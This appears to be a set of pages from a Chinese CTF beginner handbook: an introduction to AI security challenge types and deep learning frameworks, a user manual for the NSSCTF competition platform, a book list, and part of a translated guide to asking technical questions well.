1956年8月,在美国汉诺斯小镇的达特茅斯学院,以约翰·麦卡锡(John McCarthy)、马文·明斯基(Marvin Minsky)、克劳德·香农(Claude Shannon)、艾伦·纽厄尔(Allen Newell)、赫伯特·西蒙(Herbert Simon)等为首的科学家们相聚在一起,讨论如何让机器模拟人类的学习能力,并在此次会议中正式提出了“人工智能”这个概念。

事实上,直到现在人工智能都没有一个非常明确且统一的定义。如果让我用一两句话来描述,我会说:“让机器明白人类的世界,或者我的意思是,让思想可以被数学描述。”(哦我的上帝这该死的翻译腔。是的,人工智能的本质就是去找到一些数学方法,将现实世界中人能感知的事物,人能做出的决策普适化、信息化,接着让机器学习这种方法,从而使得机器具有了智能。

AI安全

!!! quote "众所周知"
“科技就像一把双刃剑,既有利也有弊” —— 人教版 《道德与法治》八年级上册

随着OpenAI掀起的这场大模型狂潮中,人工智能这个“旧时王谢堂前燕”也已经“飞入寻常百姓家”。越来越多的优秀的人工智能赛题出现在CTF比赛中,我把他们分成这样几类:

  • 数据投毒

    给出训练数据集,期望在题目要求的限定条件下进行修改,导致模型性能大幅度下降或失效。

  • 对抗样本

    给出一个数据和一个模型,期望在题目要求的限定条件下对数据进行修改,导致该模型对图片的分类失败。

  • 逆向工程

    给出一个模型和输出,期望通过模型结构等神经网络特性逆向还原输出。

  • 模型应用

    给出输入数据和部分参数,期望通过搭建合适的模型结构来完成任务。

  • 后门模型

    给出一个模型,在题目要求的限制条件下,判断该模型是否存在后门,还原对应标签和触发器,并且试图在不训练、不影响模型性能情况下对该模型进行修复。

  • 数据篡改和评估

    给出一些数据,期望通过算法构造一个判别器,判断数据是否来源于真实世界。

  • 模型窃取

    给出一个模型的接口,期望通过交互,训练一个模型来窃取目标模型的性能与结构。

  • 等等等等

!!! note "Cain宝の碎碎念"
在之后的内容,我会用自己的微薄的知识,结合自己学习的特点与理解(指抽象的比喻×),帮助师傅们入门AI安全,记得点个star喵,如果有任何内容有误或表述不清的地方,请及时联系我和探姬,我们会第一时间更正。最后,欢迎加入N0wayBack喵~关注wx公众号喵~欢迎投送简历喵~

如何学习

!!! Success "好耶"
😆好的,我们先来学习线性代数和泛函空间吧

在之后的章节中我会将重点放到 应用 而不是原理,但是就如同密码学一般,人工智能底层的数学原理是简约、美丽、令人着迷的。本着“多一个公式,少十个观众”的原理,因此我会在尽可能少涉及原理的基础上,采取直观和可视化的方式帮助大家学习。此外,相比于书本,我更推荐 视频+代码 的学习方式,更多的动手实践和可视化对于这些日新月异的技术,会比书上既古板又晦涩难懂的文字好懂不少。

关于教材

如果你还是想看纸质书学习原理,那么你应该参考以下的基本教材:

  • 《线性代数》(国内教材好像大多数没什么区别,要是看国外的岂不是还要多两本46级英语词汇×

  • 《深度学习》

  • 《人工智能算法系列》

关于框架

现在主流的深度学习框架主要有下面几种:

**PyTorch**

PyTorch是Facebook团队于2017年1月发布的一个深度学习框架,虽然晚于TensorFlow、Keras等框架,但自发布之日起,其受到的关注度就在不断上升,目前在GitHub上的热度已经超过Theano、Caffe、MXNet等框架。

Pytorch是基于用Lua编写的Torch库的Python实现的深度学习库,目前被广泛应用于学术界和工业界,随着Caffe2项目并入Pytorch,也稳固了Pytorch 紧追并迫近 TensorFlow在深度学习应用框架领域的地位。

Pytorch库足够简单,跟NumPy,SciPy等可以无缝连接,而且基于tensor的GPU加速非常给力

Pytorch是基于训练网络迭代的核心-梯度的计算,Autograd架构(借鉴于Chainer),在Pytorch,我们可以动态的设计网络,而无需笨拙的定义静态网络图,基于简单,灵活的设计,Pytorch快速成为了学术界的主流深度学习框架。

不过现在,如果稍微深入的了解TensorFlow和Pytorch,就会发现他们越来越像:TF加入了动态图架构,Pytorch致力于其在 工业界更加易用 。打开各自的官网,你也会发现文档风格也越发的相似。

**TensorFlow**

当进入AI时,你会听到的第一个框架之一就是Google的TensorFlow。

TensorFlow是 谷歌基于DistBelief进行研发的第二代 人工智能 学习系统,其命名来源于本身的运行原理。Tensor(张量)意味着N维数组,Flow(流)意味着基于数据流图的计算,TensorFlow为张量从流图的一端流动到另一端计算过程。

TensorFlow编程接口支持Python、C++、Java、Go、R和Haskell API的alpha版本。此外,TensorFlow还可在GoogleCloud和AWS中运行。TensorFlow还支持 Windows 7、Windows 10和Windows Server 2016。由于TensorFlow使用C++ Eigen库,所以库可在ARM架构上编译和优化。这也就意味着用户可以在各种服务器和移动设备上部署自己的训练模型,无须执行单独的模型解码器或者加载Python解释器。

TensorFlow编程入门难度较大。初学者需要仔细考虑神经网络的架构,正确评估输入和输出数据的维度和数量。

TensorFlow的学习曲线太过陡峭,直接使用底层的深度学习的API,需要不断练习、探索社区并继续阅读文章来掌握TensorFlow的诀窍, 入门的门槛较高。

TensorFlow使用静态计算图进行操作。也就是说,我们需要先定义图形,然后运行计算,如果我们需要对架构进行更改,则需要重新训练模型。选择这样的方法是为了提高效率,但是许多现代神经网络工具已经能够在学习过程中改进,并且不会显著降低学习速度。在这方面,TensorFlow的主要竞争对手是PyTorch。

**Paddle**

PaddlePaddle是由百度自主开发的开源深度学习框架,近期发现有了中文名字,飞桨。

PaddlePaddle飞桨刚发布的时候,并不被看好,感觉更像是Google有,百度也要有的腔调。

PaddlePaddle飞浆在功能上,同时支持动态图和静态图,能方便的调试模型,方便的部署,非常适合业务应用的落地实现。

PaddlePaddle飞桨也已经支持数百个节点的高效并行训练。可以说在过去几年的时间里,深度学习领域在大规模的落地应用,各家框架也都在快速的发展,但是百度的PaddlePaddle看来是这个阶段发展更快的框架,甚至是发展更快的AI开发生态。

PaddlePaddle飞浆的文档与社区对于英语小白来说更加友好。

**Keras**

Keras被认为是最酷的Python深度学习库之一,高度模块化,搭建网络非常简洁。

Keras提供了非常简明的机制来表达神经网络结构。它也提供了许多非常棒的工具用于神经网络模型的编译、数据的处理、以及网络结构的可视化等等。

Keras本质上是对Tensorflow、Theano等基础框架作进一步的封装,以提供统一的、简化的API来简化神经网络的构建与训练。

**Caffe**

Caffe,全称Convolutional Architecture for Fast Feature Embedding,是一个兼具表达性、速度和思维模块化的深度学习框架。由伯克利人工智能研究小组和伯克利视觉和学习中心开发。虽然其内核是用C++编写的,但Caffe有Python和Matlab 相关接口。

Caffe来自于学院派,重在专业性,因此在可用性方面和通用性方面有点欠缺。

Caffe 最老牌的框架之一,而是老牌中的老牌。 Caffe 有非常好的特性,但也有一些小缺点。起初的时候它并不是一个通用框架,而仅仅关注计算机视觉。

Caffe 的缺点是它不够灵活。如果你想给它来一点新改变,那你就需要使用 C++ 和 CUDA 编程,不过你也可以使用 Python 或 Matlab 接口进行一些小改变。 Caffe 的文档非常贫乏。你需要花大量时间检查代码才能理解它,Caffe 的最大缺点之一是它的安装。它需要解决大量的依赖包。

**MXNet**

MXNet 是亚马逊(Amazon)选择的深度学习库。它拥有类似于 Theano 和 TensorFlow 的数据流图,为多 GPU 配置提供了良好的配置,有着类似于 Lasagne 和 Blocks 更高级别的模型构建块,并且可以在你可以想象的任何硬件上运行(包括手机)。对 Python 的支持只是其冰山一角—MXNet 同样提供了对 R、Julia、C++、Scala、Matlab,和 Javascript 的接口

MXNet 是一款设计为效率和灵活性的深度学习框架。它允许你混合符号编程和命令式编程,从而最大限度提高效率和生产力。在其核心是一个动态的依赖调度,它能够自动并行符号和命令的操作。

MXNet有一个图形优化层,使得符号执行速度快,内存使用高效。这个库便携,轻量,而且能够扩展到多个 GPU 和多台机器。

**Theano**

**CNTK**

**Deeplearning4j**

**ONNX**

如何选择?

!!! question "猜对了有奖励,猜错了有惩罚(喜"

text
“所以我应该选择什么框架呢?”

“Cain宝写这么多肯定意味就是想告诉我们权衡利弊,自己决定啦!”

“好!我看网上说TensorFlow不错,我去下载框架了”

“嗯嗯!我看Keras不错,我去试试”

*(一段时间过后......)*

“我靠,TensorFlow这么难写,好多奇奇怪怪的报错!”

“Keras也是,我快改吐了。”

“哎,等等,你看Cain宝下面说的这句话:***之后的所有内容我都会基于PyTorch框架去实现,大家可以先和我一起入门,融会贯通后基于需求去更改***

“。。。那我没挂代理下了两天不是白费了。。。啊啊啊啊啊啊啊啊啊”

对我来说,其实不同的框架对于我们学生的区别是微乎其微的,更多的问题在于找到一个自己能熟练操作的框架,以及 大家都在使用的(变成了比赛和论文的样子。在我的印象里,17-19年的论文,多基于TensorFlow;19-20年更多的是Keras;但现在,越来越多的论文基于PyTorch。

关于显卡

显卡所提供的算力对于模型训练是锦上添花的,但是对于CTF来说,没有科研中更多的实验、训练等算力要求,所以我的评价是:“如果你很穷,那就别买,这并不会影响你学习;如果你有钱,那就买,更多的做实验,别让显卡吃灰;如果你很有钱,请联系我,送我一张(伸手”


Hc Ai Base (`docs/hc-ai/base.md`)

原理基础

矩阵乘积及优化原理

卷积层

池化层

激活函数

损失函数

优化器

超参数

空洞卷积


Hc Ai Model (`docs/hc-ai/model.md`)

模型介绍

MLP

LeNet

VGG

AlexNet

ResNet

MobileNet

GAN

Transformer


Hc Appendix NSSCTF Usage (`docs/hc-appendix/NSSCTF_Usage.md`)


comments: true


NSSCTF 平台食用手册

By 探姬_Official

NSSCTF 平台地址:https://www.nssctf.cn/

归档于 CTF快速入门手册

感谢热爱。

注册 & 登录

注册

  • 在新版本中我们去掉了注册需要的邀请码,目前只需要按照引导填写对应的信息即可。
  • 注意,如果注册过程中出现无法接收到邮箱验证码的情况,请检查您的垃圾邮箱,建议使用主流邮箱进行注册。
    如果上述两种方法都无法获得验证码,请到用户群中联系管理员。
  • 如果信息均填写完毕,但是点击注册按钮没有反应,有可能是用户名已被占用,建议更换。
    如果更换完用户名仍然出现问题,请及时联系管理员。
  • 如果您在注册过程中遇到其他问题,请及时与我们联系。

登录

  • 如果您已经注册过账号,可以直接使用用户名和密码进行登录。
  • 如果您忘记了密码,可以点击忘记密码,按照提示进行操作。
  • 此外我们提供第三方账户GitHub 以及 Gitee 绑定进行登录。

首页

题目

  • 鼠标悬停在导航栏的题目标签上会出现两个选项 公开题库 和 题目清单,默认为公开题库

下面为公开题库的界面介绍

关于种类

  • https://www.nssctf.cn/note/set/659
  • CTF 即Capture The Flag,解题赛,一般是要求选手通过题目漏洞找的隐藏的字符串即flag
  • KOH 即King Of Hill,同样是有漏洞的程序,但此时您的目标不仅是找到漏洞的解,还需要与其他选手的Payload进行优劣比较,才能得到更高的得分即King。
  • RHG 即Robot Hacking Game,同样是有漏洞的程序,但此时您需要编写脚本机器人,题目会自动调度您的脚本机器人,您需要通过操作指定的接口完成一系列目标才可以得分。同样的,此时您也将与其他选手的脚本机器人进行优劣比较来争夺更高的得分。

题目类型

除了常规五大方向外,我们还提供了一些其他的题目类型:

  • MOBILE 即移动安全,安卓逆向题目。
  • ETH 即以太坊,以太坊 智能合约 等相关题目。
  • IOT 即物联网安全,物联网相关的题目。
  • AI 即人工智能安全,人工智能相关的题目。
  • 实战 包含常见的靶场 如 upload-labs,pikachu,sqli-labs,
    dvwa,xss-labs,dvwa等靶场,以及一些漏洞复现的靶机 如
    Spring Core RCE,CVE 等。

做题流程

点击题目名称即可进入题目详情页面,如下图所示:

点击开启环境即可开始。

CTF题目开启的基本形式如下:

  • 附件 —— 通常为压缩包 每类题型都可能有,可能直接就是题目本身,也可能是题目涉及到的源码等等

  • 容器 (常见于Web Pwn 也有可能见于 Misc Crypto ……)

    • web靶机 —— 通常为 ip:port / domain:port

      eg:1.11.45.14:1919 / node3.anna.nssctf.cn:28622

      这样的靶机可以直接在浏览器中访问:

    • nc 靶机 给出的形式和Web靶机类似:ip:port / domain:port

      也有可能没有: ip port / domain port

      也有部分靶机给出时会明显带上nc :nc ip port / nc domain port

      这样的靶机不能直接在浏览器中访问,需要使用nc工具连接,通常在Linux系统中接入 或者使用某些工具进行交互 如 pwntool

  • 附件+靶机
    Web题目涉及到需要源码进行审计的情况
    Pwn甚至是Misc以及其他 有nc交互的题目 涉及到后台源码审计的情况

随机一题

点击之后会随机跳转到一道未解出的题目的详细页面。

题目信息

ID & 标题

  • ID 即题目的唯一标识符,可以通过题目的链接 "https://www.nssctf.cn/problem/ + ID" 访问到题目。
  • 标题 即题目的标题,包含题目来源和题目名称。

状态

  • 未尝试 图中白色状态栏,表示您尚未尝试过该题目。
  • 已尝试 图中橙黄色状态栏,表示您已经尝试过该题目,但是尚未解出。
  • 已解出 图中绿色状态栏,表示您已经解出该题目。

标签

通常第一个标签为题目方向,而后面的标签表示题目的考察点。

下拉选项

  • 默认下拉选项已经标出对应用途。
  • 点击可以展开高级搜索选项 您可以根据题目来源的比赛tag搜索 也可以根据题目的标签搜索 还可以指定题目的出题人。

左侧面板

  • 雷达图 ——让我看看有没有六边形战士!
  • 解题进度 ——听说进度条满了就可以召唤神龙?
  • 工坊推荐 ——对某些方向还是不熟或是遇到瓶颈?来这里看看

题目清单

  • 前面有提到 鼠标悬停在导航栏的题目标签上会出现两个选项 公开题库 和 题目清单,默认为公开题库
  • 悬停点击题目清单可以切换到题目清单

目前题目来源有4个选项:

  • 历届赛题 ——历届比赛的题目
  • 官方精选 ——来源于NSS工坊的官方题单
  • 用户分享 ——NSS平台上 用户分享的题单 您也可以分享自己的题单
  • 我的题单 ——NSS平台上 用户自己创建的题单

文章

  • 文章页面包含对应标签的文章类型,这里不多做介绍。

  • 目前文章发布之后暂时不可再次修改,将在下个版本更新。

  • 文章页面的底部有赞赏和评论功能,您可以通过赞赏支持作者,也可以通过评论与作者进行交流。
    赞赏可以选择对应的金币数量,也可以自定义数量。

  • 金币是NSS平台的虚拟货币,每天登录系统会自动赠送一定数量,金币目前可用于兑换工坊教程,赞赏文章,也可用于Round赛题单靶机和附件的购买(注:其他题目不会收取任何金币)。您也可以通过购买金币来支持NSS平台的运营,详情请见会员机制。

比赛

关于比赛页面

  • 比赛页面一样是两栏设计,左边为比赛列表,右边为对应功能区域。

  • 比赛通道可在 分类 处切换,默认页面为 公开赛道,点击按钮即可报名参赛

  • 点击分类中的 私密 可切换到私密赛道,此处的比赛需要输入邀请码才能报名参赛。
    当您点击比赛后面的按钮后系统会自动跳转到比赛页面,比赛页面包含以下内容:

  • 页面会显示比赛对应的信息 页面中都已标出 这里不再赘述。

  • 非个人赛的比赛 需要点击 左侧的 队伍 标签进行队伍的创建和管理。

关于NSS的比赛

目前,NSS支持举办以下类型竞赛

  • Round 排位赛
  • 校赛/团队赛/新生赛/联合 公开赛
  • 非公开 私有赛

Round赛

  • 对于Round赛的初衷为对自身水平进行定位以及技能提高,只有Round赛才会产生积分变化,我们会基于此计算您的Rating。
  • 关于Rating的计算方式,见Rating计算
  • Round赛有两种形式:个人赛 和 团队赛
    每场个人训练赛的时间将会在2h~5h左右,题目数量在2~6题左右。
    每场组队训练赛的时间将会在4h~5h左右,题目数量在4~8题左右。
  • Round赛的赛题难度有一定的区分度 并且 无需过长时间解决。

校赛/团队赛/新生赛/联合赛

  • 如果您和您的团队有举办赛时的需求,想把比赛推广给更多的人,想让更多的人参与您和您的团队的头脑风暴,欢迎您和您的团队来NSS上举办公开赛事。
    对于公开赛事,除了需要提供题目等内容外,还需要根据参与人数支付一定的服务器费用(这不会很高)。您可以参考NSS上举办过的历史比赛来与我们进行沟通细节。
    除了进行赛前赛中的运维外,我们在赛后也会提供完整的排名电子表格,以及作弊审查等内容。如果您和您的团队有一些其他的定制化需求,在合理也对选手有助的情况下,我们也会进行支持。

私有赛

  • 如果您和您的团队需要举办内部选拔赛/训练赛,欢迎使用团队功能自行体验/管理赛事运维。如果您和您的团队需要我们提供一场比赛的套题等服务,请与我们进行沟通了解。

  • 当然 我们也支持 私有赛和公开赛双赛道模式,即您可以在NSS上举办一场公开赛,同时也可以在NSS上举办一场私有赛,这样您可以在公开赛中吸引更多的人参与,同时也可以在私有赛中进行更加精细化的管理。

总之我们非常欢迎您和您的团队参与我们的赛事工作或在NSS上举办赛事,如果您还有任何疑问或细节问题,期待您与我们的进一步沟通。

如果您和您的团队想要通过比赛进行推广活动,您可以参考 比赛赞助 内容然后与我们联系。

排行榜

  • 排行榜基于Rating的排名,您可以通过参加NSS的Round赛来提升自己的Rating。
  • 关于Round赛和Rating的计算方式,在上面的比赛中已经有所介绍。

动态

  • 题目动态 ——看看上新了哪些题目
  • 解题动态 ——谁 在 卷!?
  • 文章动态 ——嗯?又发了什么好东西!!?

探索

探索工坊

可以将工坊理解为题单的Plus版,工坊可以包含题目、文章、甚至会加入视频讲解等内容,您可以在工坊中创建自己的板块,也可以在工坊中购买别人的板块。
在工坊中,NSS官方会定期推出一些精选原创的优质板块,您可以在工坊中购买这些板块。

星辰大海

星辰大海也是一种题单的形式,采用探索锚点模式,每一个锚点代表一类考点的题目,同时每一个锚点有其自己的解锁条件,您需要完成对应的解锁条件才能解锁下一个锚点。——您需要通过探索区域来驱散更多的战争迷雾

团队

团队功能是NSS的核心功能之一,团队功能可以让您和您的团队在NSS上进行更加精细化的管理,同时也可以让您和您的团队在NSS上进行更加精细化的训练。
在这里您可以:

  • 创建私有题库,掌握赛题数据。
  • 使用内部比赛,进行技能训练。
  • 多种可视数据,了解团队能力。

您可以点击加入别人的团队,也可以创建自己的团队。

加入团队后,团队内部页面如下

左侧为团队功能的导航栏,下面我们将对每一个功能进行介绍。

信息总览

  • 主页
    点击团队时会默认跳转到信息总览的主页,该页面可以在设置中进行定义(MarkDown支持)。
  • 设置
    除了设置主页(也就是首页通知)外,您还可以在这里设置团队的Logo、团队的签到语、团队的介绍、团队是否开放申请。
  • 通知

题库

  • 团队题库 团队题库是团队内部的独立题库,和NSS题目部分功能相同,做题流程也一样,所以这里不在简绍。

  • 题目管理 作为团队管理员,您可以在这里管理团队题库中的题目,包括添加、删除、修改题目,以及决定是否对成员开放题目。

  • 新建题目 作为团队管理员,您可以在这里新建题目,如图所示,填写对应的题目信息即可。
    如果您在新建题目中遇到如容器方面或者动态Flag方面的问题,请联系我们。

比赛

  • 团队比赛 和比赛模块功能一样 展示最近的比赛 点击按钮即可报名进入比赛 因为板块功能和比赛模块一样 如有疑问请参考比赛

  • 比赛管理 作为团队管理员,您可以在这里管理团队比赛,包括添加、删除、修改比赛,调整比赛内容,包括题目 类型等等。

  • 新建比赛 作为团队管理员,您可以在这里新建比赛,只需片刻,即可创建一个属于您团队的私有比赛。

成员

  • 排行榜 即排行榜模块的功能,展示团队内部的成员排行榜。

  • 成员管理 作为团队管理员,您可以在这里管理团队成员,包括添加、删除、修改成员,调整成员权限。

  • 申请管理 作为团队管理员,您可以在这里管理团队成员的申请,包括同意、拒绝。

数据分析

  • 使用情况 我们针对团队的规模 设置了不同的等级 每个等级的团队有不同的资源量,您可以在这里查看您的团队使用情况。 关于等级的具体规则,我们会在后续的版本中进行更新。

通知

右侧的黑色🔔图标,点击即可进入通知页面,该页面可以查看您的通知,包括系统通知、比赛通知、团队通知等等。

容器管理

头像右侧的🐳图标,点击即可进入容器管理页面,该页面可以查看您的容器,包括容器的ID、容器的URL、容器的端口、容器的状态、容器的剩余时间。
同时您可以对您的容器进行操作,包括续费、停止。
您也可以购买会员服务,这样您还可以使用日志和虚拟终端功能。

会员机制

会员机制是NSS平台上的一类付费服务,主要体现在下面两种类型:

NSS货币

NSS目前有两种货币,一种是金币,一种是N点

  • 金币 NSS平台的虚拟货币,每天登录系统会自动赠送一定数量,金币目前可用于兑换工坊教程,赞赏文章,也可用于Round赛题单靶机和附件的购买(注:其他题目不会收取任何金币)。
  • N点 由充值得到,目前仅可用于兑换金币

vip会员

我们在确保不影响普通用户体验的前提下,尝试加入了vip会员,引入了一些不会影响普通用户体验的高级功能。请放心,会员服务不会产生用户群体的割裂,所有用户都可以享受到平台的基础功能。
对应的服务差别如图所示:

高级功能

专属VIP用户组图标

——如果你也和我一样是vip,这真的是太酷啦!!!!

自定义个人资料背景板

——广告位招租!

更强大的容器管理功能

——日志和虚拟终端,更快,更准确的定位问题

可自定义的多样化平台 —— Hackground


Hc Appendix Book (`docs/hc-appendix/book.md`)


comments: true


推荐书单

可能不是很全,欢迎各位在评论区补充,最好是给书籍添加对应的评论x,目前还是简单的罗列,我们尝试在后面逐渐完善ww

综合类书籍(CTF)

  • 《从0到1:CTFer成长之路》 - By Nu1L
  • 《CTF特训营》 - By FlappyPig
  • 《CTF实战:从入门到提升》 - By 恒星实验室
  • 《CTF那些事儿》 - By 北航 Lancet战队
  • 《CTF实战 技术 解题与进阶》 - By ChaMd5安全团队

MISC

MISC你还看书?

Web | 网络攻防

  • 《Web漏洞解析与攻防实战》
  • 《白帽子讲WEB安全(第2版)》

Crypto | 密码学

  • 《深入浅出密码学:常用加密技术原理与应用》(Understanding Cryptography:A Textbook for Students and Practitioners)
  • 《高三数学选修4-6 初等数论初步》
  • 《初等数论及其应用》
  • 《数论概论》
  • 《密码编码学与网络安全-原理与实践》
  • 《An introduction to mathmatical cryptography》

Re | 逆向工程

PWN | 二进制

  • 《CTF竞赛权威指南(Pwn篇)》 - 杨超 编著

Hc Appendix How To Ask (`docs/hc-appendix/how-to-ask.md`)

提问的智慧

!!! Info

text
How To Ask Questions The Smart Way

Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen

本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。

原文网址:http://www.catb.org/~esr/faqs/smart-questions.html

Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu

本中文指南是基于原文 3.10 版以及 2010 年由 Gasolin 所翻译版本的最新翻译;

协助指出翻译问题,请发 issue,或直接发 pull request 给我。

弃权申明

许多项目的网站在如何取得帮助的部分链接了本文,这没有关系,也正是我们想要的。但如果你是该项目生成此链接的网管,请在链接附近显著位置注明:我们不提供该项目的服务支持!

我们已经领教了没有此说明带来的痛苦,我们将不停地被一些白痴纠缠,他们认为既然我们发布了本文,那么我们就有责任解决世上所有的技术问题。

如果你是因为需要帮助正在阅读本文,然后就带着可以直接从作者那取得帮助的印象离开,那么 你 就不幸成了我们所说的白痴之一。 别向 我们 提问,我们不会理睬的。 我们只是在这教你如何从那些真正懂得你软硬件问题的人那里取得帮助,但 99.9% 的时间我们不会是那些人。除非你非常地 确定 本文的作者是你遇到问题方面的专家,请不要打搅,这样大家都更开心一点。

引言

在 黑客 的世界里,你所提技术问题的解答很大程度上取决于你提问的方式与解决此问题的难度,本文将教你如何提问才更有可能得到满意的答复。

开源程序的应用已经很广,你通常可以从其他更有经验的用户而不是黑客那里得到解答。这是好事,他们一般对新手常有的毛病更容忍一点。然尔,使用我们推荐的方法,象对待黑客那样对待这些有经验的用户,通常能最有效地得到问题的解答。

第一件需要明白的事是黑客喜欢难题和激发思考的好问题。假如不是这样,我们也不会写本文了。如果你能提出一个有趣的问题让我们咀嚼玩味,我们会感激你。好问题是种激励与礼物,帮助我们发展认知,揭示没有注意或想到的问题。在黑客中,“好问题!” 是非常热烈而真挚的赞许。

此外,黑客还有遇到简单问题就表现出敌视或傲慢的名声。有时,我们看起来还对新手和愚蠢的家伙有条件反射式的无礼,但事情并不真是这样。

我们只是毫无歉意地敌视那些提问前不愿思考、不做自己家庭作业的人。这种人就象时间无底洞──他们只知道索取,不愿意付出,他们浪费了时间,这些时间本可用于其它更有趣的问题或更值得回答的人。我们将这种人叫做 “失败者(loser)” (由于历史原因,我们有时将“loser”拼写为“lusers” 。)

我们意识到许多人只是想使用我们写的软件,他们对学习技术细节没有兴趣。对大多数人而言,计算机只是种工具,是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做,我们承认这点,也从不指望每个人都对这些让我们着迷的技术问题感兴趣。不过,我们回答问题的风格是为了适应那些真正对此有兴趣并愿意主动参与解决问题的人,这一点不会变,也不该变。如果连这都变了,我们就会在自己能做得最好的事情上不再那么犀利。

我们(大多数)是自愿者, 从自己繁忙的生活中抽时间来回答问题,有时会力不从心。因此,我们会毫不留情地滤除问题,特别是那些看起来象是失败者提的,以便更有效地把回答问题的时间留给那些胜利者。

如果你认为这种态度令人反感、以施惠者自居或傲慢自大,请检查你的假设,我们并未要求你屈服──事实上,假如你做了该做的努力,我们中的大多数将非常乐意平等地与你交流,并欢迎你接纳我们的文化。试图去帮助那些不愿自救的人对我们简直没有效率。不懂没有关系,但愚蠢地做事不行。

所以,你不必在技术上很在行才能吸引我们的注意,但你 必须 表现出能引导你在行的姿态──机 敏、有想法、善于观察、乐于主动参与问题的解决。如果你做不到这些使你与众不同的事情,我们建议你付钱跟别人签商业服务合同,而不是要求黑客无偿帮助。

如果你决定向我们求助,你不会想成为一名失败者,你也不想被看成一个失败者。得到快速有效回答的最好方法是使提问者看起来象个聪明、自信和有想法的人,并且暗示只是碰巧在某一特别问题上需要帮助。

(欢迎对本文指正,可以将建议发至 [email protected] 或 [email protected]。 请注意,本文不想成为一般性的 网络礼仪 指南,我一般会拒绝那些与引出技术论坛中有用的回答不特别相关的建议。)

提问前

在通过电邮、新闻组或论坛提技术问题以前,做以下事情:

  • 尝试在你准备提问论坛的历史文档中搜索答案
  • 尝试搜索互联网以找到答案
  • 尝试阅读手册以找到答案
  • 尝试阅读“常见问题文档”(FAQ)以找到答案
  • 尝试自己检查或试验以找到答案
  • 尝试请教懂行的朋友以找到答案
  • 如果你是程序员,尝试阅读源代码以找到答案

提问时,请先表明你已做了上述事情,这将有助于建立你不是寄生虫与浪费别人时间的印象。最好再表述你从中 学到的东西 ,我们喜欢回答那些表现出能从答案中学习的人。

运用某些策略,比如用谷歌(Google)搜索你遇到的各种错误提示(既搜索 谷歌论坛,也搜索网页), 这样很可能直接就找到了解决问题的文档或邮件列表线索。 即使没有结果,在邮件列表或新闻组寻求帮助时提一句“我在谷歌中搜过下列句子但没有找到什么有用的东西” 也是件好事,至少它表明了搜索引擎不能提供哪些帮助。将搜索关键词与你的问题及可能的解决方案联系起来,还有助于引导其他有类似问题的人。

别着急,不要指望几秒钟的谷歌搜索就能解决一个复杂的问题。读一下常见问题文档。在向专家提问之前,先向后靠靠放松一下,再思考一下问题。相信我们,他们能从你的提问看出你做了多少阅读与思考,如果你是有备而来,将更有可能得到解答。不要将所有问题一股脑抛出,只因你的第一次搜索没有结果(或者结果太多)。

认真地思考,准备好你的问题。轻率的提问只能得到轻率的回答,或者压根没有。在提问时,你越是表现出在此前做过思考与努力去解决自己的问题,你越有可能得到真正的帮助。

注意别提错问题。如果提问基于错误的假设,某黑客多半会一边想 “愚蠢的问题……”,一边按将错就错的答案回复你,并且希望这种只是得到你自己“问的问题”而非真正所需的解答,给你一个教训。

永远不要假设你 有资格 得到解答。你没有这种资格,毕竟你没有为此服务付费。如果你能够提出有内容、有趣和激励思考的问题──那种毫无疑问能够向社区贡献经验,而不仅仅是消极地要求从别人那获取知识的问题,你将“挣到”答案。

另一方面,表明你有能力也乐意参与问题的解决是个很好的开端。“有没有人能指个方向?”,我这还差点什么?”,“我应该查哪个网站?”,通常要比 “请给出我可以用的完整步骤”更容易得到回复,因为你表明了只要有人能指个方向,你就很乐意完成剩下的过程。

提问时

仔细挑选论坛

要对在哪提问留心,如果你做了下述事情,多半会被一笔勾销或被看成“失败者”:

  • 张贴与论坛主题无关的问题
  • 在面向高级技术问题的论坛上张贴肤浅的问题,或者反之。
  • 在太多不同的新闻组同时张贴
  • 给既非熟人也没有义务解决你问题的人发送你私人的电邮

为保护通信的渠道不被无关的东西淹没,黑客会除掉那些没有找对地方的问题,你不会想让这种事落到自己头上的。

因此,第一步是找对论坛。谷歌和其它搜索引擎还是你的朋友,可以用它们搜索你遇到困难的软硬件问题最相关的项目网站。那里通常都有项目的常见问题(FAQ)、邮件列表及文档的链接。如果你的努力(包括 阅读 FAQ)都没有结果,这些邮件列表就是最后能取得帮助的地方。项目的网站也许还有报告Bug的流程或链接,如果是这样,去看看。

向陌生的人或论坛发送邮件极有可能是在冒险。譬如,不要假设一个内容丰富的网页的作者想充当你的免费顾问,不要对你的问题是否会受到欢迎做太乐观的估计──如果你不确定,向别处发或者压根别发。

在选择论坛、新闻组或邮件列表时,别太相信名字,先看看 FAQ 或者许可书以明确你的问题是否切题。发贴前先翻翻已有的帖子,这样可以让你感受一下那里行事的方式。事实上,张贴前在新闻组或邮件列表的历史文档中搜索与你问题相关的关键词是个极好的主意,也许就找到答案了。即使没有,也能帮助你归纳出更好的问题。

别象机关枪似的一次性“扫射”所有的帮助渠道,这就象大喊大叫一样会令人不快,温柔地一个一个来。

弄懂主题!最典型的错误之一是在某种致力于跨平台可移植的语言、库或工具的论坛中提关于 Unix 或 Windows 操作系统程序接口的问题。如果你不明白为什么这是大错,最好在搞清楚概念前什么也别问。

一般来说,在仔细挑选的公共论坛中提问比在私有论坛中提同样的问题更容易得到有用的回答。有几个道理支持这点,一是看潜在的回复者有多少,二是看论坛的参与者有多少,黑客更愿回答能启发多数人的问题。

可以理解,老练的黑客和一些流行软件的作者正在承受过多的不当消息。就象那根最后压垮骆驼背的稻草一样,你的加入也有可能使情况走向极端──已经好几次了,一些流行软件的作者退出了对自己软件的支持,因为伴随而来的涌入其私人邮箱的垃圾邮件变得无法忍受。

面向新手的论坛和互联网中继聊天(IRC)通常响应最快

本地的用户组织或者你所用的 Linux 发行版也许正在宣传新手取得帮助的论坛或 IRC 通道(在一些非英语国家,新手论坛很可能还是邮件列表),这些地方是开始提问的好去处,特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。经过宣传的 IRC 通道是公开邀请提问的地方,通常可以得到实时的回复。

事实上,如果出问题的程序来自某发行版(这很常见),最好先去该发行版的论坛或邮件列表中提问,再到程序本身的项目论坛或邮件列表,(否则)该项目的黑客可能仅仅回复“用 我们的 代码”。

在任何论坛发贴以前,先看看有没有搜索功能。如果有,就试着用问题的几个关键词搜索一下,也许就有帮助。如果在此之前你已做过全面的网页搜索(你应该这样去做),还是再搜索一下论坛,搜索引擎有可能没来得及索引此论坛的全部内容。

